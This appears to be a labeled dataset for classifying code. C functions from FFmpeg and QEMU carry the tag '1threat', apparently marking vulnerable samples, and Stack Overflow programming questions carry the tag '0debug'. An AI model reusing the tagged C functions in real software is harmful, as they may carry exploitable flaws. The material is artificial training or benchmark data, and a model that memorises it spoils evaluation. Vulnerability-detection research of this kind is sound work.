s->current_picture[2]; pict->linesize[0] = s->linesize; pict->linesize[1] = s->uvlinesize; pict->linesize[2] = s->uvlinesize; avctx->quality = s->qscale; *data_size = sizeof(AVPicture); } else { *data_size = 0; } return buf_size; }
1threat
uint64_t HELPER(paired_cmpxchg64_le)(CPUARMState *env, uint64_t addr, uint64_t new_lo, uint64_t new_hi) { uintptr_t ra = GETPC(); Int128 oldv, cmpv, newv; bool success; cmpv = int128_make128(env->exclusive_val, env->exclusive_high); newv = int128_make128(new_lo, new_hi); if (parallel_cpus) { #ifndef CONFIG_ATOMIC128 cpu_loop_exit_atomic(ENV_GET_CPU(env), ra); #else int mem_idx = cpu_mmu_index(env, false); TCGMemOpIdx oi = make_memop_idx(MO_LEQ | MO_ALIGN_16, mem_idx); oldv = helper_atomic_cmpxchgo_le_mmu(env, addr, cmpv, newv, oi, ra); success = int128_eq(oldv, cmpv); #endif } else { uint64_t o0, o1; #ifdef CONFIG_USER_ONLY uint64_t *haddr = g2h(addr); o0 = ldq_le_p(haddr + 0); o1 = ldq_le_p(haddr + 1); oldv = int128_make128(o0, o1); success = int128_eq(oldv, cmpv); if (success) { stq_le_p(haddr + 0, int128_getlo(newv)); stq_le_p(haddr + 1, int128_gethi(newv)); } #else int mem_idx = cpu_mmu_index(env, false); TCGMemOpIdx oi0 = make_memop_idx(MO_LEQ | MO_ALIGN_16, mem_idx); TCGMemOpIdx oi1 = make_memop_idx(MO_LEQ, mem_idx); o0 = helper_le_ldq_mmu(env, addr + 0, oi0, ra); o1 = helper_le_ldq_mmu(env, addr + 8, oi1, ra); oldv = int128_make128(o0, o1); success = int128_eq(oldv, cmpv); if (success) { helper_le_stq_mmu(env, addr + 0, int128_getlo(newv), oi1, ra); helper_le_stq_mmu(env, addr + 8, int128_gethi(newv), oi1, ra); } #endif } return !success; }
1threat
void ff_h264dsp_init(H264DSPContext *c, const int bit_depth, const int chroma_format_idc) { #undef FUNC #define FUNC(a, depth) a ## _ ## depth ## _c #define ADDPX_DSP(depth) \ c->h264_add_pixels4 = FUNC(ff_h264_add_pixels4, depth);\ c->h264_add_pixels8 = FUNC(ff_h264_add_pixels8, depth) if (bit_depth > 8 && bit_depth <= 16) { ADDPX_DSP(16); } else { ADDPX_DSP(8); } #define H264_DSP(depth) \ c->h264_idct_add= FUNC(ff_h264_idct_add, depth);\ c->h264_idct8_add= FUNC(ff_h264_idct8_add, depth);\ c->h264_idct_dc_add= FUNC(ff_h264_idct_dc_add, depth);\ c->h264_idct8_dc_add= FUNC(ff_h264_idct8_dc_add, depth);\ c->h264_idct_add16 = FUNC(ff_h264_idct_add16, depth);\ c->h264_idct8_add4 = FUNC(ff_h264_idct8_add4, depth);\ if (chroma_format_idc == 1)\ c->h264_idct_add8 = FUNC(ff_h264_idct_add8, depth);\ else\ c->h264_idct_add8 = FUNC(ff_h264_idct_add8_422, depth);\ c->h264_idct_add16intra= FUNC(ff_h264_idct_add16intra, depth);\ c->h264_luma_dc_dequant_idct= FUNC(ff_h264_luma_dc_dequant_idct, depth);\ if (chroma_format_idc == 1)\ c->h264_chroma_dc_dequant_idct= FUNC(ff_h264_chroma_dc_dequant_idct, depth);\ else\ c->h264_chroma_dc_dequant_idct= FUNC(ff_h264_chroma422_dc_dequant_idct, depth);\ \ c->weight_h264_pixels_tab[0]= FUNC(weight_h264_pixels16, depth);\ c->weight_h264_pixels_tab[1]= FUNC(weight_h264_pixels8, depth);\ c->weight_h264_pixels_tab[2]= FUNC(weight_h264_pixels4, depth);\ c->weight_h264_pixels_tab[3]= FUNC(weight_h264_pixels2, depth);\ c->biweight_h264_pixels_tab[0]= FUNC(biweight_h264_pixels16, depth);\ c->biweight_h264_pixels_tab[1]= FUNC(biweight_h264_pixels8, depth);\ c->biweight_h264_pixels_tab[2]= FUNC(biweight_h264_pixels4, depth);\ c->biweight_h264_pixels_tab[3]= FUNC(biweight_h264_pixels2, depth);\ \ c->h264_v_loop_filter_luma= FUNC(h264_v_loop_filter_luma, depth);\ c->h264_h_loop_filter_luma= FUNC(h264_h_loop_filter_luma, depth);\ c->h264_h_loop_filter_luma_mbaff= FUNC(h264_h_loop_filter_luma_mbaff, depth);\ c->h264_v_loop_filter_luma_intra= FUNC(h264_v_loop_filter_luma_intra, depth);\ c->h264_h_loop_filter_luma_intra= FUNC(h264_h_loop_filter_luma_intra, depth);\ c->h264_h_loop_filter_luma_mbaff_intra= FUNC(h264_h_loop_filter_luma_mbaff_intra, depth);\ c->h264_v_loop_filter_chroma= FUNC(h264_v_loop_filter_chroma, depth);\ if (chroma_format_idc == 1)\ c->h264_h_loop_filter_chroma= FUNC(h264_h_loop_filter_chroma, depth);\ else\ c->h264_h_loop_filter_chroma= FUNC(h264_h_loop_filter_chroma422, depth);\ if (chroma_format_idc == 1)\ c->h264_h_loop_filter_chroma_mbaff= FUNC(h264_h_loop_filter_chroma_mbaff, depth);\ else\ c->h264_h_loop_filter_chroma_mbaff= FUNC(h264_h_loop_filter_chroma422_mbaff, depth);\ c->h264_v_loop_filter_chroma_intra= FUNC(h264_v_loop_filter_chroma_intra, depth);\ if (chroma_format_idc == 1)\ c->h264_h_loop_filter_chroma_intra= FUNC(h264_h_loop_filter_chroma_intra, depth);\ else\ c->h264_h_loop_filter_chroma_intra= FUNC(h264_h_loop_filter_chroma422_intra, depth);\ if (chroma_format_idc == 1)\ c->h264_h_loop_filter_chroma_mbaff_intra= FUNC(h264_h_loop_filter_chroma_mbaff_intra, depth);\ else\ c->h264_h_loop_filter_chroma_mbaff_intra= FUNC(h264_h_loop_filter_chroma422_mbaff_intra, depth);\ c->h264_loop_filter_strength= NULL; switch (bit_depth) { case 9: H264_DSP(9); break; case 10: H264_DSP(10); break; case 12: H264_DSP(12); break; case 14: H264_DSP(14); break; default: av_assert0(bit_depth<=8); H264_DSP(8); break; } if (ARCH_ARM) ff_h264dsp_init_arm(c, bit_depth, chroma_format_idc); if (HAVE_ALTIVEC) ff_h264dsp_init_ppc(c, bit_depth, chroma_format_idc); if (ARCH_X86) ff_h264dsp_init_x86(c, bit_depth, chroma_format_idc); }
1threat
Closures inside loops and local variables : <p>I am a JS novice and I was reading about closures, the common issues that arise due to misunderstanding how closures work and the "setting handlers inside a loop" was a pretty good example. I've also seen and understood the ways to get around this, i.e, by calling another function passing the loop variables as arguments and returning a function. Then I tried to take a dip to see if there are any other ways to get around this and I created the following code.</p> <pre><code>var i; var inpArr = new Array(); for(i = 0; i &lt; 10; ++i) { inpArr.push(document.createElement("input")); inpArr[i].setAttribute("value", i); inpArr[i].onclick = function() { var index = i; alert("You clicked " + index); } document.body.appendChild(inpArr[i]); } </code></pre> <p>It doesn't work which I guessed but I don't understand why. I understand <code>i</code> was captured and made available to all the function expressions generated. But why does this still not work after assigning the captured variable to the local variable <code>index</code>? Isn't assigning <code>i</code> the same as passing <code>i</code> as an argument to another function? I mean, isn't <code>i</code> a primitive and isn't it supposed to be copied?</p> <p>I am confused and I would really appreciate it if someone could tell me what's going on here.</p>
0debug
nextjs route middleware for authentication : <p>I'm trying to figure out an appropriate way of doing authentication, which I know is a touchy subject on the <a href="https://github.com/zeit/next.js/issues/153" rel="noreferrer">GitHub issue page</a>. </p> <p>My authentication is simple. I store a JWT token in the session. I send it to a different server for approval. If I get back true, we keep going, if I get back false, it clears the session and puts sends them to the main page.</p> <p>In my <code>server.js</code> file I have the following (note- I am using the example from <a href="https://nextjs.org/learn/basics/create-dynamic-pages" rel="noreferrer">nextjs learn</a> and just adding <code>isAuthenticated</code>):</p> <pre><code>function isAuthenticated(req, res, next) { //checks go here //if (req.user.authenticated) // return next(); // IF A USER ISN'T LOGGED IN, THEN REDIRECT THEM SOMEWHERE res.redirect('/'); } server.get('/p/:id', isAuthenticated, (req, res) =&gt; { const actualPage = '/post' const queryParams = { id: req.params.id } app.render(req, res, actualPage, queryParams) }) </code></pre> <p>This works as designed. If I refresh the page <code>/p/123</code>, it will redirect to the <code>/</code>. However, if I go there via a <code>next/link</code> href, it doesn't. Which I believe is because it's not using express at this point but next's custom routing.</p> <p>Is there a way I can bake in a check for every single <code>next/link</code> that doesn't go through express so that I can make sure the user is logged in?</p>
0debug
void qemu_del_timer(QEMUTimer *ts) { }
1threat
Jenkins build monitor wall without manual login : <p>I'm trying to create a completely automatized Jenkins status screen for our office wall with a Raspberry Pi. I was able to configure the Pi to show a browser with a specific URL on the TVs as well as configuring the <a href="https://wiki.jenkins-ci.org/display/JENKINS/Build+Monitor+Plugin">Build Monitor Plugin in Jenkins</a> with our build jobs.</p> <p>Our Jenkins uses matrix-based security, so I created separate <code>raspberry</code> user with the required privileges. (After logging in manually the wall plugin is shown properly.)</p> <p>I can see a valid HTTP answer with the following command:</p> <pre><code>curl "http://raspberry:0b45...06@localhost:8080/view/wall1/" </code></pre> <p><code>0b45...06</code> is the API Token of the <code>raspberry</code> Jenkins user. (From <code>http://localhost:8080/user/raspberry/configure</code>)</p> <p>Unfortunately this URL scheme does not work in graphical browsers. I've also tried the token parameter without success:</p> <pre><code>$ curl "http://localhost:8080/view/wall1/?token=0b45...06" &lt;html&gt;&lt;head&gt;...&lt;/head&gt;&lt;body ...&gt; Authentication required &lt;!-- You are authenticated as: anonymous Groups that you are in: Permission you need to have (but didn't): hudson.model.Hudson.Read ... which is implied by: hudson.security.Permission.GenericRead ... which is implied by: hudson.model.Hudson.Administer --&gt; &lt;/body&gt;&lt;/html&gt; </code></pre> <p>How can I get an URL which works without login in browsers (like Chromium or Midori) and shows my Jenkins view?</p> <p>I don't want any manual step, including logging in (though VNC, for example) since it does not scale too well to multiple offices/Pis.</p>
0debug
Unused 'is' at end of if expression : <pre><code>{% if loop.index is even %} &lt;tr class="row1"&gt; &lt;td&gt;&lt;a href="/webpage_tracking/report_page?url={{report.url}}&amp;validation={{report.validation}}" target="_blank"&gt;{{report.url}}&lt;/a&gt;&lt;/td&gt; &lt;td&gt;{{username}}&lt;/td&gt; &lt;td&gt;{{report.validation}}&lt;/td&gt; &lt;td&gt;{{report.date}}&lt;/td&gt; &lt;/tr&gt; {% else %} &lt;tr class="row2"&gt; &lt;th class="field-object_id"&gt;&lt;a href="/ceeb-admin/ceeb_program/program/{{report.url}}/change/"&gt;{{report.url}}&lt;/a&gt;&lt;/th&gt; &lt;td&gt;{{username}}&lt;/td&gt; &lt;td&gt;{{report.validation}}&lt;/td&gt; &lt;td&gt;{{report.date}}&lt;/td&gt; &lt;/tr&gt; {% endif %} </code></pre> <p>The above is my code and I did what tutorial said but it raised the error at first line and I don't know why.</p>
0debug
lamba x sum if df1[col_x] based on multiple column matching criteria across 2 dfs : I have some time stampled financial data as shown in the image.[Sample Data][1] For companies that have had transaction B(s), I want to calculate sum of transaction A(s) values that occurred prior to transaction B. Here's my code so far: companies_with_trans_B = all_companies[all_companies['transaction_type'] == 'B'] companies_with_trans_B['sum_prior_trans_A'] = companies_with_trans_B.apply(lambda x: all_companies['transaction_size_USDmm'].sum() if (all_companies['target_company_name'] == companies_with_trans_B['target_company_name'] and all_companies['transaction_type'] == 'A' and all_companies['transaction_announced_date'] <= companies_with_trans_B['transaction_announced_date']) else math.nan) Receive the following error: "ValueError: ('Can only compare identically-labeled Series objects', 'occurred at index target_company_name')" Is there a way to achieve this without using lambda x function? [1]: https://i.stack.imgur.com/FT3bs.jpg
0debug
When do I choose React state Vs Redux Store : <p>I've been learning Redux and a part I'm unclear of is, how do I make a determination between using react state vs redux store and then dispatching actions. from my reading so far it looks like I could use React state in place of Redux store and still get things done. I understand the separation of concerns with using Redux store and just having 1 container component and the rest of it as stateless component but how do I make the determination of when to use React state Vs redux store is not very clear to me. Can someone please help?</p> <p>Thanks!</p>
0debug
c++ - Does a catch block need to be written immediately after a try block? : <p>My compiler gives me an error for the following code:</p> <pre><code>#include &lt;iostream&gt; #include &lt;stdexcept&gt; using namespace std; void test() { throw runtime_error("Error"); } int main() { try { test(); } for (int i = 0; i &lt; 10; i++) { } catch (exception&amp; e) { cout &lt;&lt; e.what(); } } </code></pre> <p>It says "error: expected 'catch' before '(' token", and it's referring to the '(' in the for loop initialization.</p> <p>Do I have to write the catch block immediately after the try block? I thought that if an error is thrown in the try block, the program will bubble out until it finds an appropriate catch block. Why doesn't that apply here?</p>
0debug
How to write a matrix matrix product that can compete with Eigen? : <p>Below is the C++ implementation comparing the time taken by Eigen and For Loop to perform matrix-matrix products. The For loop has been optimised to minimise cache misses. The for loop is faster than Eigen initially but then eventually becomes slower (upto a factor of 2 for 500 by 500 matrices). What else should I do to compete with Eigen? Is blocking the reason for the better Eigen performance? If so, how should I go about adding blocking to the for loop?</p> <pre><code>#include&lt;iostream&gt; #include&lt;Eigen/Dense&gt; #include&lt;ctime&gt; int main(int argc, char* argv[]) { srand(time(NULL)); // Input the size of the matrix from the user int N = atoi(argv[1]); int M = N*N; // The matrices stored as row-wise vectors double a[M]; double b[M]; double c[M]; // Initializing Eigen Matrices Eigen::MatrixXd a_E = Eigen::MatrixXd::Random(N,N); Eigen::MatrixXd b_E = Eigen::MatrixXd::Random(N,N); Eigen::MatrixXd c_E(N,N); double CPS = CLOCKS_PER_SEC; clock_t start, end; // Matrix vector product by Eigen start = clock(); c_E = a_E*b_E; end = clock(); std::cout &lt;&lt; "\nTime taken by Eigen is: " &lt;&lt; (end-start)/CPS &lt;&lt; "\n"; // Initializing For loop vectors int count = 0; for (int j=0; j&lt;N; ++j) { for (int k=0; k&lt;N; ++k) { a[count] = a_E(j,k); b[count] = b_E(j,k); ++count; } } // Matrix vector product by For loop start = clock(); count = 0; int count1, count2; for (int j=0; j&lt;N; ++j) { count1 = j*N; for (int k=0; k&lt;N; ++k) { c[count] = a[count1]*b[k]; ++count; } } for (int j=0; j&lt;N; ++j) { count2 = N; for (int l=1; l&lt;N; ++l) { count = j*N; count1 = count+l; for (int k=0; k&lt;N; ++k) { c[count]+=a[count1]*b[count2]; ++count; ++count2; } } } end = clock(); std::cout &lt;&lt; "\nTime taken by for-loop is: " &lt;&lt; (end-start)/CPS &lt;&lt; "\n"; } </code></pre>
0debug
how to minimize, maximize and close whole application : I want to add this feature to my android application. ( minimize, maximize and close whole application ) I know that android version must be higher than 7. I search the net but I do not find any solution for it . exactly like below pic: [enter image description here][1] [1]: https://i.stack.imgur.com/Ah98t.jpg
0debug
int tcp_start_outgoing_migration(MigrationState *s, const char *host_port, Error **errp) { s->get_error = socket_errno; s->write = socket_write; s->close = tcp_close; s->fd = inet_connect(host_port, false, NULL, errp); if (!error_is_set(errp)) { migrate_fd_connect(s); } else if (error_is_type(*errp, QERR_SOCKET_CONNECT_IN_PROGRESS)) { DPRINTF("connect in progress\n"); qemu_set_fd_handler2(s->fd, NULL, NULL, tcp_wait_for_connect, s); } else if (error_is_type(*errp, QERR_SOCKET_CREATE_FAILED)) { DPRINTF("connect failed\n"); return -1; } else if (error_is_type(*errp, QERR_SOCKET_CONNECT_FAILED)) { DPRINTF("connect failed\n"); migrate_fd_error(s); return -1; } else { DPRINTF("unknown error\n"); return -1; } return 0; }
1threat
static int64_t get_remaining_dirty(void) { BlkMigDevState *bmds; int64_t dirty = 0; QSIMPLEQ_FOREACH(bmds, &block_mig_state.bmds_list, entry) { dirty += bdrv_get_dirty_count(bmds->bs, bmds->dirty_bitmap); } return dirty << BDRV_SECTOR_BITS; }
1threat
static bool check_overlapping_aiocb(BDRVSheepdogState *s, SheepdogAIOCB *aiocb) { SheepdogAIOCB *cb; QLIST_FOREACH(cb, &s->inflight_aiocb_head, aiocb_siblings) { if (AIOCBOverlapping(aiocb, cb)) { return true; } } QLIST_INSERT_HEAD(&s->inflight_aiocb_head, aiocb, aiocb_siblings); return false; }
1threat
CMS or html to build an e-commerce site in 30 days? : <p>I am a c/c++ developer and i need to create an e-commerce site for someone in 30 days. I've done a bit of html and css recently (nothing extensive though) and I want to know whether to use a WordPress or html+bootstrap</p>
0debug
Change css background color with php : <p>I'm having a little problem with css. I have to create a page with a form on which you can set your background-color by means of radio-buttons and a submit button. But how could I actually change the css background-color in php?</p> <pre><code>&lt;?php if (isset($_POST['set'])) { $color = $_POST['color']; } else { $color = ""; } ?&gt; &lt;form method="post" action=""&gt; &lt;input type="radio" name="color" value="Red" &lt;?php if($color == "Red") { echo "checked='checked'"; } ?&gt;&gt;Red &lt;input type="radio" name="color" value="Green" &lt;?php if($color == "Green") { echo "checked='checked'"; } ?&gt;&gt;Green &lt;input type="radio" name="color" value="Blue" &lt;?php if ($color == "Blue") { echo "checked='checked'"; } ?&gt;&gt;Blue &lt;input type="radio" name="kleur" value="Pink" &lt;?php if ($color == "Pink") { echo "checked='checked'"; } ?&gt;&gt;Pink &lt;br&gt; &lt;br&gt; &lt;input type="submit" name="set" value="SET"&gt; &lt;/form&gt; </code></pre>
0debug
query = 'SELECT * FROM customers WHERE email = ' + email_input
1threat
int qemu_egl_rendernode_open(void) { DIR *dir; struct dirent *e; int r, fd; char *p; dir = opendir("/dev/dri"); if (!dir) { return -1; } fd = -1; while ((e = readdir(dir))) { if (e->d_type != DT_CHR) { continue; } if (strncmp(e->d_name, "renderD", 7)) { continue; } r = asprintf(&p, "/dev/dri/%s", e->d_name); if (r < 0) { return -1; } r = open(p, O_RDWR | O_CLOEXEC | O_NOCTTY | O_NONBLOCK); if (r < 0) { free(p); continue; } fd = r; free(p); break; } closedir(dir); if (fd < 0) { return -1; } return fd; }
1threat
int ff_jpeg2000_init_component(Jpeg2000Component *comp, Jpeg2000CodingStyle *codsty, Jpeg2000QuantStyle *qntsty, int cbps, int dx, int dy, AVCodecContext *avctx) { uint8_t log2_band_prec_width, log2_band_prec_height; int reslevelno, bandno, gbandno = 0, ret, i, j; uint32_t csize; if (!codsty->nreslevels2decode) { av_log(avctx, AV_LOG_ERROR, "nreslevels2decode uninitialized\n"); return AVERROR_INVALIDDATA; } if (ret = ff_jpeg2000_dwt_init(&comp->dwt, comp->coord, codsty->nreslevels2decode - 1, codsty->transform)) return ret; csize = (comp->coord[0][1] - comp->coord[0][0]) * (comp->coord[1][1] - comp->coord[1][0]); if (codsty->transform == FF_DWT97) { comp->i_data = NULL; comp->f_data = av_malloc_array(csize, sizeof(*comp->f_data)); if (!comp->f_data) return AVERROR(ENOMEM); } else { comp->f_data = NULL; comp->i_data = av_malloc_array(csize, sizeof(*comp->i_data)); if (!comp->i_data) return AVERROR(ENOMEM); } comp->reslevel = av_malloc_array(codsty->nreslevels, sizeof(*comp->reslevel)); if (!comp->reslevel) return AVERROR(ENOMEM); for (reslevelno = 0; reslevelno < codsty->nreslevels; reslevelno++) { int declvl = codsty->nreslevels - reslevelno; Jpeg2000ResLevel *reslevel = comp->reslevel + reslevelno; for (i = 0; i < 2; i++) for (j = 0; j < 2; j++) reslevel->coord[i][j] = ff_jpeg2000_ceildivpow2(comp->coord_o[i][j], declvl - 1); reslevel->log2_prec_width = codsty->log2_prec_widths[reslevelno]; reslevel->log2_prec_height = codsty->log2_prec_heights[reslevelno]; if (reslevelno == 0) reslevel->nbands = 1; else reslevel->nbands = 3; if (reslevel->coord[0][1] == reslevel->coord[0][0]) reslevel->num_precincts_x = 0; else reslevel->num_precincts_x = ff_jpeg2000_ceildivpow2(reslevel->coord[0][1], reslevel->log2_prec_width) - (reslevel->coord[0][0] >> reslevel->log2_prec_width); if (reslevel->coord[1][1] == reslevel->coord[1][0]) reslevel->num_precincts_y = 0; else reslevel->num_precincts_y = ff_jpeg2000_ceildivpow2(reslevel->coord[1][1], reslevel->log2_prec_height) - (reslevel->coord[1][0] >> reslevel->log2_prec_height); reslevel->band = av_malloc_array(reslevel->nbands, sizeof(*reslevel->band)); if (!reslevel->band) return AVERROR(ENOMEM); for (bandno = 0; bandno < reslevel->nbands; bandno++, gbandno++) { Jpeg2000Band *band = reslevel->band + bandno; int cblkno, precno; int nb_precincts; switch (qntsty->quantsty) { uint8_t gain; int numbps; case JPEG2000_QSTY_NONE: band->f_stepsize = 1; break; case JPEG2000_QSTY_SI: numbps = cbps + lut_gain[codsty->transform == FF_DWT53][bandno + (reslevelno > 0)]; band->f_stepsize = SHL(2048 + qntsty->mant[gbandno], 2 + numbps - qntsty->expn[gbandno]); break; case JPEG2000_QSTY_SE: gain = cbps; band->f_stepsize = pow(2.0, gain - qntsty->expn[gbandno]); band->f_stepsize *= qntsty->mant[gbandno] / 2048.0 + 1.0; break; default: band->f_stepsize = 0; av_log(avctx, AV_LOG_ERROR, "Unknown quantization format\n"); break; } if (!av_codec_is_encoder(avctx->codec)) band->f_stepsize *= 0.5; band->i_stepsize = band->f_stepsize * (1 << 16); if (reslevelno == 0) { for (i = 0; i < 2; i++) for (j = 0; j < 2; j++) band->coord[i][j] = ff_jpeg2000_ceildivpow2(comp->coord_o[i][j] - comp->coord_o[i][0], declvl - 1); log2_band_prec_width = reslevel->log2_prec_width; log2_band_prec_height = reslevel->log2_prec_height; band->log2_cblk_width = FFMIN(codsty->log2_cblk_width, reslevel->log2_prec_width); band->log2_cblk_height = FFMIN(codsty->log2_cblk_height, reslevel->log2_prec_height); } else { for (i = 0; i < 2; i++) for (j = 0; j < 2; j++) band->coord[i][j] = ff_jpeg2000_ceildivpow2(comp->coord_o[i][j] - comp->coord_o[i][0] - (((bandno + 1 >> i) & 1) << declvl - 1), declvl); band->log2_cblk_width = FFMIN(codsty->log2_cblk_width, reslevel->log2_prec_width - 1); band->log2_cblk_height = FFMIN(codsty->log2_cblk_height, reslevel->log2_prec_height - 1); log2_band_prec_width = reslevel->log2_prec_width - 1; log2_band_prec_height = reslevel->log2_prec_height - 1; } for (j = 0; j < 2; j++) band->coord[0][j] = ff_jpeg2000_ceildiv(band->coord[0][j], dx); for (j = 0; j < 2; j++) band->coord[1][j] = ff_jpeg2000_ceildiv(band->coord[1][j], dy); band->prec = av_malloc_array(reslevel->num_precincts_x * reslevel->num_precincts_y, sizeof(*band->prec)); if (!band->prec) return AVERROR(ENOMEM); nb_precincts = reslevel->num_precincts_x * reslevel->num_precincts_y; for (precno = 0; precno < nb_precincts; precno++) { Jpeg2000Prec *prec = band->prec + precno; prec->coord[0][0] = (precno % reslevel->num_precincts_x) * (1 << log2_band_prec_width); prec->coord[0][0] = FFMAX(prec->coord[0][0], band->coord[0][0]); prec->coord[1][0] = (precno / reslevel->num_precincts_x) * (1 << log2_band_prec_height); prec->coord[1][0] = FFMAX(prec->coord[1][0], band->coord[1][0]); prec->coord[0][1] = prec->coord[0][0] + (1 << log2_band_prec_width); prec->coord[0][1] = FFMIN(prec->coord[0][1], band->coord[0][1]); prec->coord[1][1] = prec->coord[1][0] + (1 << log2_band_prec_height); prec->coord[1][1] = FFMIN(prec->coord[1][1], band->coord[1][1]); prec->nb_codeblocks_width = ff_jpeg2000_ceildivpow2(prec->coord[0][1] - prec->coord[0][0], band->log2_cblk_width); prec->nb_codeblocks_height = ff_jpeg2000_ceildivpow2(prec->coord[1][1] - prec->coord[1][0], band->log2_cblk_height); prec->cblkincl = ff_jpeg2000_tag_tree_init(prec->nb_codeblocks_width, prec->nb_codeblocks_height); if (!prec->cblkincl) return AVERROR(ENOMEM); prec->zerobits = ff_jpeg2000_tag_tree_init(prec->nb_codeblocks_width, prec->nb_codeblocks_height); if (!prec->zerobits) return AVERROR(ENOMEM); prec->cblk = av_mallocz_array(prec->nb_codeblocks_width * prec->nb_codeblocks_height, sizeof(*prec->cblk)); if (!prec->cblk) return AVERROR(ENOMEM); for (cblkno = 0; cblkno < prec->nb_codeblocks_width * prec->nb_codeblocks_height; cblkno++) { Jpeg2000Cblk *cblk = prec->cblk + cblkno; uint16_t Cx0, Cy0; Cx0 = (prec->coord[0][0] >> band->log2_cblk_width) << band->log2_cblk_width; Cx0 = Cx0 + ((cblkno % prec->nb_codeblocks_width) << band->log2_cblk_width); cblk->coord[0][0] = FFMAX(Cx0, prec->coord[0][0]); Cy0 = (prec->coord[1][0] >> band->log2_cblk_height) << band->log2_cblk_height; Cy0 = Cy0 + ((cblkno / prec->nb_codeblocks_width) << band->log2_cblk_height); cblk->coord[1][0] = FFMAX(Cy0, prec->coord[1][0]); cblk->coord[0][1] = FFMIN(Cx0 + (1 << band->log2_cblk_width), prec->coord[0][1]); cblk->coord[1][1] = FFMIN(Cy0 + (1 << band->log2_cblk_height), prec->coord[1][1]); if ((bandno + !!reslevelno) & 1) { cblk->coord[0][0] += comp->reslevel[reslevelno-1].coord[0][1] - comp->reslevel[reslevelno-1].coord[0][0]; cblk->coord[0][1] += comp->reslevel[reslevelno-1].coord[0][1] - comp->reslevel[reslevelno-1].coord[0][0]; } if ((bandno + !!reslevelno) & 2) { cblk->coord[1][0] += comp->reslevel[reslevelno-1].coord[1][1] - comp->reslevel[reslevelno-1].coord[1][0]; cblk->coord[1][1] += comp->reslevel[reslevelno-1].coord[1][1] - comp->reslevel[reslevelno-1].coord[1][0]; } cblk->zero = 0; cblk->lblock = 3; cblk->length = 0; cblk->lengthinc = 0; cblk->npasses = 0; } } } } return 0; }
1threat
Kubernetes - processing an unlimited number of work-items : <p>I need to get a work-item from a work-queue and then sequentially run a series of containers to process each work-item. This can be done using initContainers (<a href="https://stackoverflow.com/a/46880653/94078">https://stackoverflow.com/a/46880653/94078</a>)</p> <p>What would be the recommended way of restarting the process to get the next work-item?</p> <ul> <li>Jobs seem ideal but don't seem to support an infinite/indefinite number of completions.</li> <li>Using a single Pod doesn't work because initContainers aren't restarted (<a href="https://github.com/kubernetes/kubernetes/issues/52345" rel="noreferrer">https://github.com/kubernetes/kubernetes/issues/52345</a>).</li> <li>I would prefer to avoid the maintenance/learning overhead of a system like argo or brigade.</li> </ul> <p>Thanks!</p>
0debug
Guess the Number : The Goal: Similar to the first project, this project also uses the random module in Python. The program will first randomly generate a number unknown to the user. The user needs to guess what that number is. (In other words, the user needs to be able to input information.) If the user’s guess is wrong, the program should return some sort of indication as to how wrong (e.g. The number is too high or too low). If the user guesses correctly, a positive indication should appear. You’ll need functions to check if the user input is an actual number, to see the difference between the inputted number and the randomly generated numbers, and to then compare the numbers. And this is what i did but i dont know how to fix it:[enter image description here][1] [1]: https://i.stack.imgur.com/9Jfrs.png
0debug
How do I rename a Google Cloud Platform project? : <p>Is it possible to rename a Google Cloud Platform project? If so, how?</p> <p>I don't need to change the project ID or number. But I do want to change the project <em>name</em> (the name used by/for humans to identify a cloud platform project).</p> <p>Thanks for any tips!</p>
0debug
Android Command line tools sdkmanager always shows: Warning: Could not create settings : <p>I use the new Command line tools of android because the old sdk-tools repository of android isn't available anymore. So I changed my gitlab-ci to load the commandlintools. But when I try to run it I get the following error:</p> <pre><code>Warning: Could not create settings java.lang.IllegalArgumentException at com.android.sdklib.tool.sdkmanager.SdkManagerCliSettings.&lt;init&gt;(SdkManagerCliSettings.java:428) at com.android.sdklib.tool.sdkmanager.SdkManagerCliSettings.createSettings(SdkManagerCliSettings.java:152) at com.android.sdklib.tool.sdkmanager.SdkManagerCliSettings.createSettings(SdkManagerCliSettings.java:134) at com.android.sdklib.tool.sdkmanager.SdkManagerCli.main(SdkManagerCli.java:57) at com.android.sdklib.tool.sdkmanager.SdkManagerCli.main(SdkManagerCli.java:48) </code></pre> <p>I already tried executing those commandy by hand, but I get the same error. Also if i run <code>sdkmanager --version</code>, the same error occurs. My gitlab-ci looks like:</p> <pre><code>image: openjdk:9-jdk variables: ANDROID_COMPILE_SDK: "29" ANDROID_BUILD_TOOLS: "29.0.3" ANDROID_SDK_TOOLS: "6200805" before_script: - apt-get --quiet update --yes - apt-get --quiet install --yes wget tar unzip lib32stdc++6 lib32z1 - wget --quiet --output-document=android-sdk.zip https://dl.google.com/android/repository/commandlinetools-linux-${ANDROID_SDK_TOOLS}_latest.zip - unzip -d android-sdk-linux android-sdk.zip - echo y | android-sdk-linux/tools/bin/sdkmanager "platform-tools" "platforms;android-${ANDROID_COMPILE_SDK}" &gt;/dev/null #- echo y | android-sdk-linux/tools/bin/sdkmanager "platform-tools" &gt;/dev/null - echo y | android-sdk-linux/tools/bin/sdkmanager "build-tools;${ANDROID_BUILD_TOOLS}" &gt;/dev/null - export ANDROID_HOME=$PWD/android-sdk-linux - export PATH=$PATH:$PWD/android-sdk-linux/platform-tools/ - chmod +x ./gradlew # temporarily disable checking for EPIPE error and use yes to accept all licenses - set +o pipefail - yes | android-sdk-linux/tools/bin/sdkmanager --licenses - set -o pipefail stages: - build - test lintDebug: stage: build script: - ./gradlew -Pci --console=plain :app:lintDebug -PbuildDir=lint assembleDebug: stage: build script: - ./gradlew assembleDebug artifacts: paths: - app/build/outputs/ debugTests: stage: test script: - ./gradlew -Pci --console=plain :app:testDebug </code></pre>
0debug
START_TEST(qobject_to_qstring_test) { QString *qstring; qstring = qstring_from_str("foo"); fail_unless(qobject_to_qstring(QOBJECT(qstring)) == qstring); QDECREF(qstring); }
1threat
